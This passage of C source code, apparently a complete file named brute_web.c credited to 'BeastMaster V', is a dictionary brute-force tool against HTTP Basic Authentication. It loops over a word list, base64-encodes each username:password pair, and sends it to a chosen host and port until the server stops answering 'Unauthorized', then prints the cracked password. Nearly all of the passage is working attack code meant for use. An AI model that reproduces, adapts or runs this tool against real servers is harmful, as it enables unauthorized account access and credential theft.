0) ) { value = (unsigned long)blivit; e_p->accum <<= 8; e_p->shift += 8; e_p->accum |= value; } /* ENDIF */ while ( e_p->shift >= 6 ) { e_p->shift -= 6; value = (e_p->accum >> e_p->shift) & 0x3Fl; blivit = alphabet[value]; buf_64[index++] = blivit; if ( index >= 60 ) { buf_64[index] = '\0'; /* printf( "%s\n", buf_64 ); */ index = 0; } if ( quit != 0 ) { e_p->shift = 0; } } } if ( e_p->save_shift == 2 ) { buf_64[index++] = '='; if ( index >= 60 ) { buf_64[index] = '\0'; /* printf( "%s\n", buf_64 ); */ index = 0; } buf_64[index++] = '='; if ( index >= 60 ) { buf_64[index] = '\0'; /* printf( "%s\n", buf_64 ); */ index = 0; } } else if ( e_p->save_shift == 4 ) { buf_64[index++] = '='; if ( index >= 60 ) { buf_64[index] = '\0'; /* printf( "%s\n", buf_64 ); */ index = 0; } } if ( index != 0 ) { /* buf_64[index-1]='='; */ buf_64[index] = '\0'; /* printf( "%s\n", buf_64 ); */ } return quit;}void encode_string (char *namepass){ struct BASE64_PARAMS e_p; int quit=0; register int i; char * some; e_p.shift = 0; e_p.accum = 0; some=(char *)malloc(256); /* Nasty hack (forgive the lame coding...) */ some = (char *)namepass; for (i=0;*(some+i);i++); *(some+i)=*(some+i-1); *(some+i+1)='\0'; base64_encode(quit, &e_p, (char *)some);}void sorry (void){printf("\nSorry, but I could not get in.\n");printf("There are two reasons why:\n");printf("1) The user (argv[1]) does not exist on the webserver.\n");printf("2) The user exists, but his/her passwd was not in your dict_file.\n");printf("Have a Nice Day. :-)\n\n");exit(0);}void usage(char *prog_name){printf("\nUsage: ");printf("[%s] username dictfile hostname port\n", prog_name);printf("\n");exit(0);}int main ( argc, argv )unsigned int argc;char **argv;{ FILE * dict_fd=NULL; struct hostent *hp; unsigned short web_port=0; int sock_fd=0; char * dict_word=NULL; char export_buff[1024]; char * encoded_buffer=NULL; unsigned short finish_flag=1, success=0; int foo; if ( argc !=5 ) usage(argv[0]); r_signal(SIGSEGV, handle_SIGSEGV); r_signal(SIGINT, handle_SIGINT); dict_word= (char *)malloc (256);if ((dict_fd=fopen(argv[2], "r"))==NULL ) {fprintf(stderr, "\nCould not open dictionary file: [%s]\n%s\n\n", argv[2], strerror(errno)); exit(1); }if ((hp=(struct hostent *)gethostbyname((char *)argv[3])) == NULL) {fprintf(stderr, "\nCould not resolve hostname: [%s]\n\n", argv[3]); exit(1); } web_port = atoi(argv[4]); encoded_buffer=(char *)malloc(512); while (read_dict_file(dict_word, dict_fd)) { if ((sock_fd=call_socket(argv[3], web_port))==-1) { perror("socket connection"); exit(1); }#ifndef SOLARIS if ((foo=ioctl(sock_fd, FIONBIO , 1))==-1) { perror("ioctl"); exit(1); }#else if ((foo=fcntl(sock_fd, O_NDELAY, 1)) <0) { perror("ioctl"); exit(1); }#endif sprintf(export_buff, "GET / HTTP/1.0\n"); sendln(sock_fd, export_buff); sprintf(encoded_buffer, "%s:%s", argv[1], dict_word); encode_string(encoded_buffer); sprintf(export_buff, "Authorization: Basic %s\n\n",buf_64); sendln(sock_fd, export_buff); memset(line, '\0', sizeof(line)); while( readln(sock_fd)) {#ifdef VERBOSE printf("%s", line); fflush((FILE *)stdout);#endif /* Change this to a more sophisticated test. */ /* This test is pretty lame, but works for */ /* all practical purposes. */ if (strstr(line, "nauthorized")) finish_flag=0; } if (finish_flag) { close(sock_fd); finish_flag=1; success=1; break; } finish_flag=1; close(sock_fd); } fclose(dict_fd); if (!success) sorry(); else { printf("\n\nThe UserName is: %s\n", argv[1]); printf("The Password is: %s\n", dict_word); printf("\n\n\n ---- Coded by BeastMaster V ----\n"); exit(0); }}------------------------- brute_web.c -------------------------